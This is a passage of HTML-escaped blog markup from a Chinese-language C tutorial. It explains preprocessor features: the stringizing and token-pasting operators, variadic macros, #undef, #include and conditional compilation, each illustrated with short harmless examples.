c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是一元二次方程组求解的宏,由于存在正负两个解,所以宏\u003ccode\u003eQUAD\u003c/code\u003e先替换成另外两个宏\u003ccode\u003eQUADP\u003c/code\u003e和\u003ccode\u003eQUADM\u003c/code\u003e,后者再各自替换成一个解。\u003c/p\u003e\u003cp\u003e那么,什么时候使用带参数的宏,什么时候使用函数呢?\u003c/p\u003e\u003cp\u003e一般来说,应该首先使用函数,它的功能更强、更容易理解。宏有时候会产生意想不到的替换结果,而且往往只能写成一行,除非对换行符进行转义,但是可读性就变得很差。\u003c/p\u003e\u003cp\u003e宏的优点是相对简单,本质上是字符串替换,不涉及数据类型,不像函数必须定义数据类型。而且,宏将每一处都替换成实际的代码,省掉了函数调用的开销,所以性能会好一些。另外,以前的代码大量使用宏,尤其是简单的数学运算,为了读懂前人的代码,需要对它有所了解。\u003c/p\u003e\u003ch4 id=\"运算符,-运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%BF%90%E7%AE%97%E7%AC%A6%EF%BC%8C-%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"#运算符,##运算符\"\u003e\u003c/a\u003e\u003ccode\u003e#\u003c/code\u003e运算符,\u003ccode\u003e##\u003c/code\u003e运算符\u003c/h4\u003e\u003cp\u003e由于宏不涉及数据类型,所以替换以后可能为各种类型的值。如果希望替换后的值为字符串,可以在替换文本的参数前面加上\u003ccode\u003e#\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e STR(x) #x\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于 printf(\u0026#34;%s\\n\u0026#34;, \u0026#34;3.14159\u0026#34;);\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, STR(\u003cspan class=\"number\"\u003e3.14159\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eSTR(3.14159)\u003c/code\u003e会被替换成\u003ccode\u003e3.14159\u003c/code\u003e。如果\u003ccode\u003ex\u003c/code\u003e前面没有\u003ccode\u003e#\u003c/code\u003e,这会被解释成一个浮点数,有了\u003ccode\u003e#\u003c/code\u003e以后,就会被转换成字符串。\u003c/p\u003e\u003cp\u003e下面是另一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e XNAME(n) \u003cspan class=\"string\"\u003e\u0026#34;x\u0026#34;\u003c/span\u003e#n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 x4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, XNAME(\u003cspan class=\"number\"\u003e4\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e#n\u003c/code\u003e指定参数输出为字符串,再跟前面的字符串结合,最终输出为\u003ccode\u003e\u0026#34;x4\u0026#34;\u003c/code\u003e。如果不加\u003ccode\u003e#\u003c/code\u003e,这里实现起来就很麻烦了。\u003c/p\u003e\u003cp\u003e如果替换后的文本里面,参数需要跟其他标识符连在一起,组成一个新的标识符,可以使用\u003ccode\u003e##\u003c/code\u003e运算符。它起到粘合作用,将参数“嵌入”一个标识符之中。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e MK_ID(n) i##n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003en\u003c/code\u003e是宏\u003ccode\u003eMK_ID\u003c/code\u003e的参数,这个参数需要跟标识符\u003ccode\u003ei\u003c/code\u003e粘合在一起,这时\u003ccode\u003ei\u003c/code\u003e和\u003ccode\u003en\u003c/code\u003e之间就要使用\u003ccode\u003e##\u003c/code\u003e运算符。下面是这个宏的用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eMK_ID\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e, \u003cspan class=\"title function_\"\u003eMK_ID\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e, \u003cspan class=\"title function_\"\u003eMK_ID\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e3\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 替换成\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i1, i2, i3;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,替换后的文本\u003ccode\u003ei1\u003c/code\u003e、\u003ccode\u003ei2\u003c/code\u003e、\u003ccode\u003ei3\u003c/code\u003e是三个标识符,参数\u003ccode\u003en\u003c/code\u003e是标识符的一部分。从这个例子可以看到,\u003ccode\u003e##\u003c/code\u003e运算符的一个主要用途是批量生成变量名和标识符。\u003c/p\u003e\u003ch4 id=\"不定参数的宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%B8%8D%E5%AE%9A%E5%8F%82%E6%95%B0%E7%9A%84%E5%AE%8F\" class=\"headerlink\" title=\"不定参数的宏\"\u003e\u003c/a\u003e不定参数的宏\u003c/h4\u003e\u003cp\u003e宏的参数还可以是不定数量的(即不确定有多少个参数),\u003ccode\u003e...\u003c/code\u003e表示剩余的参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e X(a, b, ...) (10*(a) + 20*(b)), __VA_ARGS__\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eX(a, b, ...)\u003c/code\u003e表示\u003ccode\u003eX()\u003c/code\u003e至少有两个参数,多余的参数使用\u003ccode\u003e...\u003c/code\u003e表示。在替换文本中,\u003ccode\u003e__VA_ARGS__\u003c/code\u003e代表多余的参数(每个参数之间使用逗号分隔)。下面是用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eX(\u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e3.14\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Hi!\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e12\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 替换成\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e*(\u003cspan class=\"number\"\u003e5\u003c/span\u003e) + \u003cspan class=\"number\"\u003e20\u003c/span\u003e*(\u003cspan class=\"number\"\u003e4\u003c/span\u003e)), \u003cspan class=\"number\"\u003e3.14\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Hi!\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,\u003ccode\u003e...\u003c/code\u003e只能替代宏的尾部参数,不能写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e WRONG(X, ..., Y) #X #__CA_ARGS__ #Y\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e...\u003c/code\u003e替代中间部分的参数,这是不允许的,会报错。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e__VA_ARGS__\u003c/code\u003e前面加上一个\u003ccode\u003e#\u003c/code\u003e号,可以让输出变成一个字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e X(...) #__VA_ARGS__\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, X(\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// Prints \u0026#34;1, 2, 3\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"undef\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#undef\" class=\"headerlink\" title=\"#undef\"\u003e\u003c/a\u003e#undef\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#undef\u003c/code\u003e指令用来取消已经使用\u003ccode\u003e#define\u003c/code\u003e定义的宏。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e LIMIT 400\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eundef\u003c/span\u003e LIMIT\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例的\u003ccode\u003eundef\u003c/code\u003e指令取消已经定义的宏\u003ccode\u003eLIMIT\u003c/code\u003e,后面就可以重新用 LIMIT 定义一个宏。\u003c/p\u003e\u003cp\u003e有时候想重新定义一个宏,但不确定是否以前定义过,就可以先用\u003ccode\u003e#undef\u003c/code\u003e取消,然后再定义。因为同名的宏如果两次定义不一样,会报错,而\u003ccode\u003e#undef\u003c/code\u003e的参数如果是不存在的宏,并不会报错。\u003c/p\u003e\u003cp\u003eGCC 的\u003ccode\u003e-U\u003c/code\u003e选项可以在命令行取消宏的定义,相当于\u003ccode\u003e#undef\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc -ULIMIT foo.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中的\u003ccode\u003e-U\u003c/code\u003e参数,取消了宏\u003ccode\u003eLIMIT\u003c/code\u003e,相当于源文件里面的\u003ccode\u003e#undef LIMIT\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"include\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#include\" class=\"headerlink\" title=\"#include\"\u003e\u003c/a\u003e#include\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#include\u003c/code\u003e指令用于编译时将其他源码文件,加载进入当前文件。它有两种形式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 形式一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;foo.h\u0026gt;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 加载系统提供的文件\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 形式二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;foo.h\u0026#34;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 加载用户提供的文件\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e形式一,文件名写在尖括号里面,表示该文件是系统提供的,通常是标准库的库文件,不需要写路径。因为编译器会到系统指定的安装目录里面,去寻找这些文件。\u003c/p\u003e\u003cp\u003e形式二,文件名写在双引号里面,表示该文件由用户提供,具体的路径取决于编译器的设置,可能是当前目录,也可能是项目的工作目录。如果所要包含的文件在其他位置,就需要指定路径,下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;/usr/local/lib/foo.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eGCC 编译器的\u003ccode\u003e-I\u003c/code\u003e参数,也可以用来指定\u003ccode\u003einclude\u003c/code\u003e命令中用户文件的加载路径。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc -Iinclude/ -o code code.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令中,\u003ccode\u003e-Iinclude/\u003c/code\u003e指定从当前目录的\u003ccode\u003einclude\u003c/code\u003e子目录里面,加载用户自己的文件。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#include\u003c/code\u003e最常见的用途,就是用来加载包含函数原型的头文件(后缀名为\u003ccode\u003e.h\u003c/code\u003e),参见《多文件编译》一章。多个\u003ccode\u003e#include\u003c/code\u003e指令的顺序无关紧要,多次包含同一个头文件也是合法的。\u003c/p\u003e\u003ch3 id=\"if…-endif\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#if%E2%80%A6-endif\" class=\"headerlink\" title=\"#if…#endif\"\u003e\u003c/a\u003e#if…#endif\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#if...#endif\u003c/code\u003e指令用于预处理器的条件判断,满足条件时,内部的行会被编译,否则就被编译器忽略。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e pi = \u003cspan class=\"number\"\u003e3.1415\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 不会执行\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e#if\u003c/code\u003e后面的\u003ccode\u003e0\u003c/code\u003e,表示判断条件不成立。所以,内部的变量定义语句会被编译器忽略。\u003ccode\u003e#if 0\u003c/code\u003e这种写法常用来当作注释使用,不需要的代码就放在\u003ccode\u003e#if 0\u003c/code\u003e里面。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#if\u003c/code\u003e后面的判断条件,通常是一个表达式。如果表达式的值不等于\u003ccode\u003e0\u003c/code\u003e,就表示判断条件为真,编译内部的语句;如果表达式的值等于0,表示判断条件为伪,则忽略内部的语句。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#if...#endif\u003c/code\u003e之间还可以加入\u003ccode\u003e#else\u003c/code\u003e指令,用于指定判断条件不成立时,需要编译的语句。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e FOO 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e FOO\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;defined\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;not defined\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,宏\u003ccode\u003eFOO\u003c/code\u003e如果定义过,会被替换成\u003ccode\u003e1\u003c/code\u003e,从而输出\u003ccode\u003edefined\u003c/code\u003e,否则输出\u003ccode\u003enot defined\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e如果有多个判断条件,还可以加入\u003ccode\u003e#elif\u003c/code\u003e命令。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan 